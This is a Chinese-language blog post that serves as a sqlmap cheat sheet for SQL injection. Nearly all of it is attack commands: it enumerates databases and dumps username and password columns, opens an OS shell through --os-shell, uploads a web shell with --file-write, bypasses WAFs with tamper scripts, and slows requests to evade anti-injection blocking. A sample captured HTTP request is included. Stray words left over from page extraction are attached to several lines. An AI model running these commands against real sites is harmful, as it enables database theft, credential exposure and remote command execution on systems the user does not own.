前言:有關sqlmap的使用以前就比較熟悉了, 今天閒來無事加上看相關博客就準備寫一篇詳細關於sqlmap的使用手冊,博客正文源出於:http://www.cnblogs.com/xishaonian/p/6031552.htmlphp
0x00 SQLMAP簡介:html
1,sqlmap是一種開源的滲透測試工具,能夠自動檢測和利用SQL注入漏洞以及接入該數據庫的服務器。它擁有很是大的檢測引擎、具備多種特性的滲透實測器、經過數據庫指紋提取訪問底層文件系統並經過外帶鏈接執行命令。mysql
2,sqlmap支持的數據庫有MySQL, oracle,Sql Server,access等。
web
3,能夠實現錯誤注入,基於時間的錯誤注入,報錯注入,union注入等。sql
0x01 使用過程當中可能用到的相關命令:shell
--current-user #當前數據庫用戶
--privileges #查看當前數據庫權限
--dbms=mssql #指定數據庫的類型
--os-shell #執行cmd命令數據庫
--is-dba #判斷是否爲dba權限緩存
0x02 對於Mssql類型的數據庫注入:服務器
sqlmap -u "url" --dbs #獲取數據庫 cookie
sqlmap -u "url" -D 數據庫名 --tables #猜表
sqlmap -u "url" -D 數據庫名 -T 表名 --columns #獲取字段
sqlmap -u "url" -D 數據庫名 -T 表名 -C username,password --dump #獲取字段內容
0x03 對於MySQL類型數據庫注入:
sqlmap -u "url" --dbs #獲取數據庫
sqlmap -u "url" -D 數據庫名 --tables #猜表
sqlmap -u "url" -D 數據庫名 -T 表名 --columns #獲取字段
sqlmap -u "url" -D 數據庫名 -T 表名 -C username,password --dump #獲取字段內容
0x04 對於access類型數據庫注入:
sqlmap -u "url" #判斷是否存在注入點
sqlmap -u "url" --dbs #獲取數據庫
sqlmap -u "url" -D 數據庫名 --tables #跑表
sqlmap -u "url" --columns -T 表名 -D 數據庫名 #猜字段
sqlmap -u "url" --dump -T 表名 -C 字段名1,字段名2 -D 數據庫名 #猜字段內容
0x05 cookie注入:
sqlmap –u 「url」 –cookie 「id=urlid」 --table –level 2 #獲取表名
sqlmap –u 「url」 –cookie 「id=urlid」 --columns –T 表名 –level 2 #獲取字段
sqlmap –u 「url」 –cookie 「id=urlid」 --dump –T表名 –C 「字段名1,字段名2」 –level 2 #獲取字段內容
0x06 post登陸框注入:
sqlmap –u 「url」 –forms #自動搜索 代碼參數
sqlmap.py -u 「url」 –data 「ftuname=1&tfupass=1」r
0x07 交互執行shell命令執行:
sqlmap.py -u 「url」 –os –cmd=ipconfig #cmd權限
sqlmap.py -u 「url」 –os –shell
0x08 僞靜態注入:
sqlmap -u http://www.test.com/1*.html --dbs #獲取數據庫
sqlmap -u http://www.test.com/1*.html -D 數據庫名 --tables #猜表
sqlmap -u http://www.test.com/1*.html -D 數據庫名 -T 表名 --columns #獲取字段
sqlmap -u http://www.test.com/1*.html -D 數據庫名 -T 表名 -C id,user,password --dump #獲取字段內容
0x09 請求超時:
#參數 –delay --safe-freq 3
sqlmap --dbs -u http://www.test.com/1*.html --delay 時間 #獲取數據庫
sqlmap --dbs -u http://www.test.com/1*.html --safe-freq 次數 #獲取數據庫
0x10 搜索框注入:
● 檢測是否存在注入
● 第一步:在框內提交:%'
● 返回錯誤即存在注入!
● 第二步:而後抓包-例如抓包數據以下
POST /CN/Search/ HTTP/1.1
Host: www.xxxxx.com
Proxy-Connection: keep-alive
Content-Length: 21
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.xxxxx.com
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.xxxxx.com/CN/Search/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDCSTSSBDB=DEBHEMHCINDPHGHHPNEBJHEO; _ga=GA1.2.186656237.1405421193; CNZZDATA3440547=cnzz_eid%3D456311074-1405421237- http%253A%252F%252Fwww.xxxxx.com%252F%26ntime%3D1405426801
KeyWords=1%25&x=0&y=0
將抓到的數據包保存爲文本(目錄需記住,例如我將數據包保存文本到C盤命名爲1.txt)
3.>sqlmap打開
執行命令:sqlmap.py -r c:1.txt --bds -v 2 //列數據庫
回車後在之後一行獲得數據"shutting down at 20:24:05"
sqlmap.py -r c:1.txt --tables -D "shutting down at 20:24:05" -v 2 //列代表,假設代表爲admin
sqlmap.py -r c:1.txt --columns -T "admin" -D "shutting down at 20:24:05" -v 2 //奔字段,假設字段是username和password
sqlmap.py -r c:1.txt --dump -C "username.password" -T "admin" -D "shutting down at 20:24:05" -v 2
0x11 tamper插件的使用/WAFBYPASS/Bypasswaf/waf bypass/
參數:
● batch 要求不對目標寫入
● tamper 干預腳本
sqlmap.py -u "url" -v 3 --batch --tamper "base64encode.py"
注:base64encode.py 爲編碼,在tamper目錄下。且等級必須是3級或以上。
tamper腳本下載:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/
temper腳本:
針對MYSQL:space2morehash.py space2hash.py
空格替換:space2mssqlblank.py space2mysqlblank.py、
打亂編碼:charencode.py chardoubleencode.py
針對asp/asp.net:charunicodeencode.py percentage.py
0x12 文件參數的使用與接入
file-write 本地路徑
file-dest 網站路徑
sqlmap.py -u "url" --file-write=本地shell路徑 --file-dest=網站物理路徑/hello.asp
注:
須要有dba或sa或root權限
路徑須是正斜槓(/)
0x13 拖庫:
--dump-all #會在系統緩存目錄C:\Users\Administrator\.sqlmap\output 目錄下生成XLS文件
0x14 設置線程
--threads 10
某些網站有防注入保護,短期內若是請求次數較多或短期內請求錯誤頁面次數較多均可能被網站屏蔽 sqlmap -u "www.xxx.com/index.php/Index/view/id/40*.html" --dbs --delay 5 //間隔5秒請求一次